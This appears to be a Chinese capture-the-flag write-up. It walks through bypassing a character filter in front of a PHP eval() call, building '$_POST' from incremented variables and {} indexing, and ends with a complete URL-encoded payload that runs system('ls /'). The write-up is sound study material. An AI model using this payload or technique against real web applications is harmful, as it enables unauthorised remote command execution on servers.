友情提示:本文最后更新于 471 天前,文中的内容可能已有所发展或发生改变。 0x01 前言 今天随便搞了一个比赛,结果吧,我勒个刚,第一个RCE就绕不出来
0x02 action 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<? php
error_reporting ( 0 );
highlight_file ( __FILE__ );
function count_string_char ( $str ) {
$arr = [];
foreach ( str_split ( $str ) as $value ) {
if ( ! in_array ( $value , $arr )) {
array_push ( $arr , $value );
}
}
return sizeof ( $arr );
}
if ( isset ( $_POST [ 'cmd' ]) && is_string ( $_POST [ 'cmd' ])) {
$cmd = $_POST [ 'cmd' ];
$c = count_string_char ( $cmd );
if ( $c > 13 ) {
die ( " $c too long" );
}
if ( preg_match ( '/[a-z0-9]|<|>|\\?|\\[|\\]|\\*|@|\\||\\^|~|&|\s/i' , $cmd ) ) {
die ( "nonono" );
}
eval ( "print( $cmd );" );
} else {
exit ();
}
首先观察这个function先,我就是理解错了,他的意思是将不重复的字符记在数组之中
1
2
例如:
phpinfo就是6个字符,dog就是三个字符
其次过滤了这些字符
小写字母 (a-z) 数字 (0-9) <, >, ?, [, ], *, @, |, ^, ~, &, 和空白字符 (\s)有大写字母,那么开始
第一重 以为可以环境变量配置,但是没有数字的话,又需要嵌入环境变量来获取数字,那么果断放弃
第二重 自增符号未被过滤,这里可以考虑自增,但是昂,我们这里是没有[]的,所以我们需要使用{}来构造payload,那么既然有eval,我们直接把print闭合了,然后执行命令
最终的执行就是
1
2
3
eval ( "print(_);$_POST{_}($_POST{__});" );
payload :
_ ); $ _POST { _ }( $ _POST { __ });
首先我们要得到N
那么最先我们要有0和1来依靠除法数组一个元素得到N
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<? php
$_ =++ $____ ; //1
-- $__ ; //0
$____ = (( _ / _ ) . '' ){ $__ }; //N
$_____ =++ $____ ; //O
++ $____ ; //P
$______ = $____ ; //P
++ $____ ; //Q
++ $____ ; //R
++ $____ ; //S
$_______ = $____ ; //S
++ $____ ; //T
$________ = $____ ; //T
$_________ = '_' . $______ . $_____ . $_______ . $________ ; //_POST
$$_________ { _ }( $$_________ { __ }) //$_POST{_}($_POST{__})
?>
鉴于第一次用{}来弄,所以我还是写的挺慢的
最后还需要把+进行url编码
1
$_ =++ $____ ; -- $__ ; $____ = (( _ / _ ) . '' ){ $__ }; $_____ =++ $____ ; ++ $____ ; $______ = $____ ; ++ $____ ; ++ $____ ; ++ $____ ; $_______ = $____ ; ++ $____ ; $________ = $____ ; $_________ = '_' . $______ . $_____ . $_______ . $________ ; $$_________ { _ }( $$_________ { __ }
1
cmd=_);$_=%2b%2b$____;--$__;$____=((_/_).''){$__};$_____=%2b%2b$____;%2b%2b$____;$______=$____;%2b%2b$____;%2b%2b$____;%2b%2b$____;$_______=$____;%2b%2b$____;$________=$____;$_________='_'.$______.$_____.$_______.$________;$$_________{_}($$_________{__}&_=system&__=ls /
终于是getshell了
0x03 小结 这次还是可以,收获了一个新姿势,虽然过程非常煎熬,比如不知道如何得到N,之前遇到的都是[],beautiful!!!